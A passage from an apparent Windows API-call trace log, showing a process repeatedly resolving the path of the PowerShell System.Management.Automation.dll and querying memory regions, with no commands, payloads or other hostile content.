lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.681] GetLastError () returned 0x0 [0062.681] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.681] GetLastError () returned 0x0 [0062.681] VirtualQuery (in: lpAddress=0x14cf74, lpBuffer=0x14df74, dwLength=0x1c | out: lpBuffer=0x14df74*(BaseAddress=0x14c000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.681] VirtualQuery (in: lpAddress=0x14cfb0, lpBuffer=0x14dfb0, dwLength=0x1c | out: lpBuffer=0x14dfb0*(BaseAddress=0x14c000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.681] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d968, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.681] GetLastError () returned 0x0 [0062.681] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d918, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.681] GetLastError () returned 0x0 [0062.681] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d918, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.681] GetLastError () returned 0x0 [0062.681] VirtualQuery (in: lpAddress=0x14cf74, lpBuffer=0x14df74, dwLength=0x1c | out: lpBuffer=0x14df74*(BaseAddress=0x14c000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.682] VirtualQuery (in: lpAddress=0x14cfb0, lpBuffer=0x14dfb0, dwLength=0x1c | out: lpBuffer=0x14dfb0*(BaseAddress=0x14c000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.682] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14db00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.682] GetLastError () returned 0x0 [0062.682] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.682] GetLastError () returned 0x0 [0062.682] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.682] GetLastError () returned 0x0 [0062.682] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14db00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.682] GetLastError () returned 0x0 [0062.682] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.682] GetLastError () returned 0x0 [0062.682] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.683] GetLastError () returned 0x0 [0062.683] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14db00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.683] GetLastError () returned 0x0 [0062.683] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.683] GetLastError () returned 0x0 [0062.683] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.683] GetLastError () returned 0x0 [0062.683] VirtualQuery (in: lpAddress=0x14cf74, lpBuffer=0x14df74, dwLength=0x1c | out: lpBuffer=0x14df74*(BaseAddress=0x14c000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.683] VirtualQuery (in: lpAddress=0x14cfb0, lpBuffer=0x14dfb0, dwLength=0x1c | out: lpBuffer=0x14dfb0*(BaseAddress=0x14c000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.683] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d968, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.683] GetLastError () returned 0x0 [0062.683] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d918, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.683] GetLastError () returned 0x0 [0062.683] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d918, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.683] GetLastError () returned 0x0 [0062.683] VirtualQuery (in: lpAddress=0x14cf74, lpBuffer=0x14df74, dwLength=0x1c | out: lpBuffer=0x14df74*(BaseAddress=0x14c000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.684] VirtualQuery (in: lpAddress=0x14cfb0, lpBuffer=0x14dfb0, dwLength=0x1c | out: lpBuffer=0x14dfb0*(BaseAddress=0x14c000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.684] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d968, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.684] GetLastError () returned 0x0 [0062.684] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d918, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.684] GetLastError () returned 0x0 [0062.684] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d918, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.684] GetLastError () returned 0x0 [0062.684] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.684] GetLastError () returned 0x0 [0062.684] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14de80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.684] GetLastError () returned 0x0 [0062.684] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14de80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.684] GetLastError () returned 0x0 [0062.684] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14de30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.684] GetLastError () returned 0x0 [0062.684] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.684] GetLastError () returned 0x0 [0062.684] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.684] GetLastError () returned 0x0 [0062.684] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.685] GetLastError () returned 0x0 [0062.685] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.685] GetLastError () returned 0x0 [0062.685] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.685] GetLastError () returned 0x0 [0062.685] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.685] GetLastError () returned 0x0 [0062.685] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.685] GetLastError () returned 0x0 [0062.685] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.685] GetLastError () returned 0x0 [0062.685] VirtualQuery (in: lpAddress=0x14d3e4, lpBuffer=0x14e3e4, dwLength=0x1c | out: lpBuffer=0x14e3e4*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.686] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14ddd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.686] GetLastError () returned 0x0 [0062.686] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dd88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.686] GetLastError () returned 0x0 [0062.686] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dd88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.686] GetLastError () returned 0x0 [0062.686] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dba0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.686] GetLastError () returned 0x0 [0062.686] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14db50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.686] GetLastError () returned 0x0 [0062.686] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14db50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.686] GetLastError () returned 0x0 [0062.686] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dba0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.686] GetLastError () returned 0x0 [0062.686] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14db50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.686] GetLastError () returned 0x0 [0062.686] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14db50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.686] GetLastError () returned 0x0 [0062.686] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dba0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.686] GetLastError () returned 0x0 [0062.687] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14db50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.687] GetLastError () returned 0x0 [0062.687] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14db50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.687] GetLastError () returned 0x0 [0062.687] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dba0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.687] GetLastError () returned 0x0 [0062.687] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14db50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.687] GetLastError () returned 0x0 [0062.687] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14db50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.687] GetLastError () returned 0x0 [0062.687] VirtualQuery (in: lpAddress=0x14d3e4, lpBuffer=0x14e3e4, dwLength=0x1c | out: lpBuffer=0x14e3e4*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.687] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14ddd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.687] GetLastError () returned 0x0 [0062.687] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dd88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.688] GetLastError () returned 0x0 [0062.688] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dd88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.688] GetLastError () returned 0x0 [0062.688] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dba0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.688] GetLastError () returned 0x0 [0062.688] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14db50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.688] GetLastError () returned 0x0 [0062.688] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14db50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.688] GetLastError () returned 0x0 [0062.688] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dba0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.688] GetLastError () returned 0x0 [0062.688] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14db50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.688] GetLastError () returned 0x0 [0062.688] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14db50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.688] GetLastError () returned 0x0 [0062.688] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dba0, lpFilePart=0x0 | out: 